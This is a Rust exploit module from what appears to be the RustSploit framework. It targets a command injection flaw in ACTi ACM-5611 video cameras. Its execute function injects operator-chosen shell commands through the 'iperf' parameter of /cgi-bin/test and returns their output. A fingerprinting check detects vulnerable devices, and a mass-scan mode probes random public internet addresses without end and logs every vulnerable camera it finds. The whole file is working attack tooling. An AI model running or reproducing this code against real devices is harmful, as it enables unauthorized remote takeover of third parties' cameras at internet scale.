Files
s-b-repo-rustsploit/src/modules/exploits/cameras/acti/acm_5611_rce.rs
T
2026-04-21 17:01:52 +02:00

274 lines
10 KiB
Rust

use anyhow::{anyhow, Result};
use colored::*;
use std::time::Duration;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use std::net::IpAddr;
use ipnetwork::IpNetwork;
use chrono::Local;
use crate::utils::{
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port, cfg_prompt_int_range,
cfg_prompt_output_file,
};
use crate::utils::{generate_random_public_ip, EXCLUDED_RANGES};
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// Reference:
/// - https://www.exploitalert.com/view-details.html?id=34128
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// Exploit authors:
/// - Todor Donev <todor.donev@gmail.com>
/// - GH0st3rs (RouterSploit module)
const DEFAULT_PORT: u16 = 8080;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
/// Display module banner
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
crate::mprintln!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
async fn run_mass_scan_legacy() -> Result<()> {
display_banner();
crate::mprintln!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
let port = cfg_prompt_port("port", "Target Port", 8080).await?;
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true).await?;
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
let outfile = cfg_prompt_output_file("output_file", "[?] Output File", "acti_rce_hits.txt").await?;
let outfile = Arc::new(outfile);
let threads = cfg_prompt_int_range("concurrency", "[?] Concurrency (IPs)", MASS_SCAN_CONCURRENCY as i64, 1, 10000).await?
as usize;
let semaphore = Arc::new(Semaphore::new(threads));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
let (tx, mut rx) = mpsc::channel::<String>(1024);
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&*outfile_clone)
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
crate::meprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
let _ = file.write_all(result.as_bytes()).await;
}
});
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
crate::mprintln!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
crate::mprintln!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc).to_string();
if let Ok(true) = check_vuln(&ip, port).await {
crate::mprintln!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
let _ = tx.send(log_entry).await;
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
pub async fn run(target: &str) -> Result<()> {
if is_mass_scan_target(target) {
return run_mass_scan(target, MassScanConfig {
protocol_name: "ACTi_Camera",
default_port: 80,
state_file: "acti_camera_mass_state.log",
default_output: "acti_camera_mass_results.txt",
default_concurrency: 200,
}, |ip: std::net::IpAddr, port: u16| async move {
if crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
Some(format!("{}:{}\n", ip, port))
} else {
None
}
}).await;
}
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
return run_mass_scan_legacy().await;
}
display_banner();
// Check for CIDR or Range
let is_mass_scan = target.contains('/') || target.contains('-');
// Prompt for port globally
let port = cfg_prompt_port("port", "Target Port", DEFAULT_PORT).await?;
if is_mass_scan {
crate::mprintln!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
let ips: Vec<IpAddr> = if target.contains('/') {
// CIDR
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
net.iter().collect()
} else {
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
};
crate::mprintln!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
let concurrency = 50;
let semaphore = Arc::new(Semaphore::new(concurrency));
let vulnerable_count = Arc::new(AtomicUsize::new(0));
let mut tasks = Vec::new();
for ip in ips {
let sem = semaphore.clone();
let vc = vulnerable_count.clone();
let ip_str = ip.to_string();
tasks.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return,
};
if let Ok(true) = check_vuln(&ip_str, port).await {
crate::mprintln!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
vc.fetch_add(1, Ordering::Relaxed);
}
drop(_permit);
}));
}
for t in tasks {
let _ = t.await;
}
crate::mprintln!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
} else {
// Single Target Mode
crate::mprintln!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
if check_vuln(target, port).await? {
crate::mprintln!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
// Prompt for command to execute — uses cfg_prompt which falls back to stdin in CLI mode
let cmd = cfg_prompt_default("command", "Enter command to execute", "id").await?;
crate::mprintln!("{}", format!("[*] Executing command: {}", cmd).cyan());
let output = execute(target, port, &cmd).await?;
crate::mprintln!("{}", format!("[+] Output:\n{}", output).green());
} else {
crate::mprintln!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
}
}
Ok(())
}
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
let res = client
.get(url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// Check if the target is running the vulnerable service
async fn check_vuln(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
// Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
crate::mprintln!("{}", "[*] CGI endpoint accessible".cyan());
// Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
crate::mprintln!("{}", "[*] ACTi Web Configurator detected".cyan());
return Ok(true);
}
}
}
Ok(false)
}
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "ACTi ACM-5611 Remote Command Execution".to_string(),
description: "Exploits command injection in ACTi ACM-5611 video cameras to achieve remote code execution.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec!["https://www.exploitalert.com/view-details.html?id=34128".to_string()],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Excellent,
}
}